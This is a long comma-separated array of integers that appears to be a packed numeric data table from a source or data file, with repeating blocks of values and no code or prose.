22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,26196,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,26216,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,31151,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,31154,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,22877,22539,46316,46316,46316,46316,32774,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,22786,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26258,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,48694,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,28605,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,47769,26274,26287,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,26303,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,26324,42516,42516,42516,42516,51537,42516,42516,42516,42516,25917,42516,42516,42516,42516,46741,49861,51029,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38368,22657,22657,22657,22657,38374,22541,46316,46316,46316,46316,44805,38147,38147,38147,38147,38147,32923,22444,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,41766,42516,42516,42516,42516,42516,42516,42516,23255,22657,22657,22657,22657,30361,22539,46316,46316,46316,46316,30525,38147,38147,38147,38147,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,37745,46316,46316,46316,37798,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,35004,26345,26373,26362,26396,35005,26346,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,37963,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,26423,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,42516,42516,42516,42516,42516,42516,42517,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,20235,20264,20301,20317,20346,20333,20349,20365,20381,20397,20422,20606,20438,20477,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,21141,42516,42516,42516,42516,48069,42516,42516,42516,42516,25917,47727,42516,26460,26483,26467,42516,47735,21040,42516,42516,42516,27632,42516,42516,51474,42516,42516,42516,42516,42516,42516,42516,32629,20505,21066,18953,21068,19019,18919,18270,40105,18293,18315,42516,42516,18360,42516,49435,42820,18380,18411,18395,18574,19226,18433,20169,18459,25598,18486,18508,51199,18465,25604,18492,18514,20728,18530,42516,30418,42516,42516,42516,50250,25964,50770,42516,18553,39446,18564,20175,20411,20131,20505,23879,18590,26008,18612,18632,18596,18470,18594,26012,18616,18636,20798,20741,20757,42516,18652,18689,18711,18748,18695,18788,42516,41546,48871,18807,18835,19802,18823,19840,25206,18851,18904,18942,18979,19680,19006,18851,18904,18942,18979,19680,19045,20750,46697,19097,19132,20936,31767,19148,19174,19196,20141,20921,19788,19212,19242,19278,25525,20579,19301,19596,19271,25518,20572,19294,19589,19324,19353,35639,19379,39467,19401,41728,19421,19500,24458,19544,19575,19614,19632,19650,19559,19612,19630,19648,19666,19029,19696,19712,19728,19753,19773,19830,19435,19449,19888,19905,19856,19887,19904,19921,19947,19984,20043,20080,20119,20157,20536,20191,20213,20542,20197,20219,19931,26499,20264,20301,20317,20346,20333,20349,20365,26535,20397,20422,20606,20438,26551,20503,21067,21068,20521,20558,20595,20622,20652,23888,18878,20683,20699,20715,20779,20814,20880,20890,20906,19463,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,29068,42516,42516,42516,51537,26585,26616,29663,26601,26633,26690,26699,26715,26730,26742,26758,26771,26099,19999,42516,26787,26162,26806,41856,26832,26883,26907,26946,30733,26962,26998,27019,27054,46783,31896,27070,46885,46348,36728,27120,42516,42516,34304,27137,37896,42516,27163,34995,39190,42516,27184,43650,22657,22657,22657,27203,27401,46316,46316,41985,48318,38147,38147,38147,37213,40896,22382,42516,27222,48046,42516,27243,27263,27280,42516,42516,27038,20763,27308,27328,22657,22657,27363,27386,27419,35266,46316,30482,27448,27495,27524,27566,38147,35889,38740,46095,27585,26152,27628,42516,45564,42516,47310,23487,42516,46936,27648,27669,27685,34339,22657,27729,22984,44673,27748,45967,46316,27773,39768,32782,27791,37607,38147,27824,22485,27843,27859,27882,27899,42516,27922,31758,27943,23255,33056,27962,22657,42185,33093,27982,30091,46316,35423,43042,32774,28017,38147,38147,42363,28033,23138,28062,40096,28115,41486,28137,21969,22956,28160,22657,46191,35558,28176,28197,32038,49740,47969,28214,27827,28233,42899,42516,21253,42516,38368,42934,43766,40730,37393,48025,36583,51021,44713,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,28260,28298,33550,28320,28341,28379,28401,28421,26921,40729,36585,44924,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,28445,42516,42516,51537,42516,42516,42516,42516,31409,28464,42516,28489,28496,28512,28528,28541,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,28241,42942,46314,28557,30860,34810,28721,42516,42516,42516,34304,42516,42516,42516,42516,42516,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,28583,23487,28604,45602,42516,42516,38368,22657,22657,22657,44648,28621,22541,46316,46316,46316,40008,44805,38147,38147,38147,38147,41449,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,42516,42516,38370,22657,22657,22657,22657,30360,22540,46316,46316,46316,46316,22343,30533,38147,38147,38147,38147,27826,35762,23510,42516,32305,42516,42516,28652,43395,23255,28671,22657,22657,22657,28690,28706,46316,46316,46316,37589,32774,28762,38147,38147,38147,44356,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,42516,42516,42516,38373,22657,28384,46316,46316,36586,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,23013,26674,44310,41661,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,28784,42516,42516,51537,42516,28813,42516,28831,36313,28851,28860,28876,28891,28903,28919,28932,26099,42516,42516,33807,29427,42516,42516,28948,42516,28965,42516,42516,42516,25275,42516,28986,44283,46314,29021,22622,37863,32069,42516,29066,42516,34304,29084,49128,42516,45291,29103,36853,42516,39408,30216,37513,22657,22657,22657,29138,29162,46316,46316,48917,29187,29203,38147,38147,40896,22382,23471,42516,42516,37970,42516,41320,23487,39926,29222,42516,42516,38368,29257,38293,22657,29296,38374,29315,31567,38618,38779,46316,44805,42631,29346,29367,48610,38147,32923,26115,26152,42516,42516,35359,42516,36267,23487,42516,42516,42516,38370,22657,22657,38875,29587,30360,22540,46316,46316,49716,48753,22343,30533,38147,38147,47896,47206,27826,35762,29388,42516,42516,42516,29423,42516,29443,23255,22657,22657,22657,43545,22877,22539,46316,46316,49625,46316,32774,38147,38147,38147,29464,34440,41769,42516,42516,19074,42516,46902,29483,22657,45738,22657,46191,46316,28001,46316,32038,38147,48630,38147,27827,29518,29546,42516,39530,20864,38368,29566,29583,46250,46316,29603,36583,29623,29640,40469,42516,42516,42516,29661,38373,22657,29679,46316,51108,36586,38147,50541,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,29702,29722,29738,29754,28244,40729,36585,22448,28385,36584,34366,22755,31692,34720,29778,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,26790,42516,42516,51537,42516,29812,25227,42516,31450,29831,29840,29856,29871,29878,29894,29907,26099,42516,42516,42516,27632,42516,42516,42516,42516,42516,42516,31072,31070,42516,32276,32283,40826,29686,35273,29923,34810,28721,42516,35352,29943,34304,42516,29968,36872,42516,42516,29988,30012,34471,30028,22581,34160,30064,24121,30107,48780,30128,30172,30191,29624,22523,47650,28217,40896,22382,42516,42516,42516,42735,42516,30232,23487,42516,42516,42516,27906,38368,22657,22657,22657,26867,38374,22541,46316,46316,46316,37425,44805,38147,38147,38147,38147,30252,50615,30272,30304,42516,42516,42516,30320,30338,23487,42516,42516,27104,21782,30358,30377,22657,22657,30395,30434,30481,30498,46316,46316,30515,51071,30551,30568,38147,38147,30585,35762,23510,42516,42516,42516,42516,42516,30625,23255,30648,22657,22657,30668,22877,30687,46316,46316,34855,46316,32837,38147,38147,43217,38147,34440,41769,45029,42516,30729,42516,21024,28242,29299,22657,30749,46191,50174,46316,30776,32038,38147,30812,48472,27827,22690,23708,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,42516,37071,42516,42516,38373,22657,31523,46316,43307,36586,38147,39352,22690,34920,42516,38372,43148,46316,38137,38147,30829,36804,38368,28385,28404,30535,27085,28354,31634,30852,30600,30074,38197,42103,28244,40729,36585,22448,28385,36584,34366,22755,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,21805,30876,42516,51537,49762,30895,42516,30918,43094,30942,30951,30967,30982,30994,31010,31023,26099,42516,31039,39573,31055,20844,31088,31151,40795,31438,31118,31138,31170,31208,31224,31259,31325,39316,31341,31357,42305,39859,31243,31397,39944,31425,33906,31466,31484,36903,42516,42516,38844,42516,28243,31508,40831,43064,26242,31546,31583,49551,32501,35578,43001,31607,35023,30465,31623,22382,40777,39e3,31658,40711,31716,41838,31747,42230,41234,31783,31813,31829,31873,31912,31936,31952,31988,32019,35868,32054,38034,47598,32094,32110,32136,39813,32152,32186,47170,32233,26152,32263,42516,49503,42516,32299,32321,32337,32365,32386,32406,32424,22657,35078,32463,30760,22540,32487,46316,47681,50971,43200,30533,32517,38147,37625,38481,40265,32560,23510,18666,32576,32596,39698,32624,37664,32645,31965,32706,47478,32693,32731,32762,40433,46316,32798,32825,32774,32853,32872,49013,32893,32919,41769,42516,21429,46706,42516,42516,32939,25143,43551,27695,46191,47568,50517,33128,32038,44391,37914,44027,27827,22690,51501,22158,32960,23571,32997,33045,33080,33109,33144,33160,33196,33225,33259,33289,25257,41794,33305,33321,22943,47433,44826,33342,33363,33392,45913,37247,22690,23238,33434,38372,47456,46316,49977,38147,33455,33478,32944,28385,33515,33536,30206,38372,33571,38971,31372,39304,33587,33611,33627,33643,33674,33720,28385,36584,33273,33742,31692,28429,22929,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,33784,42516,51537,33805,33823,29972,43389,33866,33897,42516,33882,33940,33947,33963,33976,26099,42516,42516,20279,27632,42516,42516,42516,42516,42516,41269,42516,41261,42516,41268,25123,41628,38176,37400,33992,34810,28721,42516,34012,42516,34304,34012,42516,42516,42516,34029,34013,37295,42516,28243,34045,22657,22657,22657,34069,34103,46316,46316,48318,47159,38147,38147,38147,40896,22382,42516,42516,42516,42516,42516,42516,23487,42516,42516,45931,42516,38368,22657,22657,22657,44213,38374,22541,46316,46316,46316,42968,44805,38147,38147,38147,38147,34120,32923,26115,26152,42516,42516,42516,42516,42516,23487,42516,46602,42516,38370,22657,22657,30041,22657,30360,22540,46316,46316,42268,46316,22343,30533,38147,38147,44e3,38147,27826,35762,23510,42516,42516,42516,42516,42516,39273,23255,22657,22657,22657,37139,22877,22539,46316,46316,49643,46316,32774,38147,38147,38147,48815,34440,41769,42516,42516,42516,42516,42516,28242,22657,22657,22657,46191,46316,46316,46316,32038,38147,38147,38147,27827,22690,42516,42516,42516,42516,38368,22657,22657,40730,46316,46316,36583,38147,38147,40469,46733,42516,42516,42516,36647,22657,28384,27995,46316,49984,38147,27827,22690,34920,42516,38372,43148,46316,28405,38147,22683,36804,38368,28385,28404,30535,36803,38372,46315,38146,28238,43147,27775,22913,28244,40729,36585,22448,28385,36584,44874,43254,31692,29762,34139,23e3,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,42516,51361,42516,42516,42516,42516,51537,42516,38852,42516,42516,51280,34176,34185,34201,34208,34215,34231,34244,26099,42516,42516,42516,27632,42516,42516,34401,42516,42516,42516,42516,42516,42516,42516,28241,22657,46314,35273,38147,34810,37878,42057,42516,42516,34304,42516,42516,42516,42516,34260,42516,42516,42516,28243,22657,22657,22657,22657,27401,46316,46316,46316,48318,38147,38147,38147,38147,40896,22382,42516,42516,4251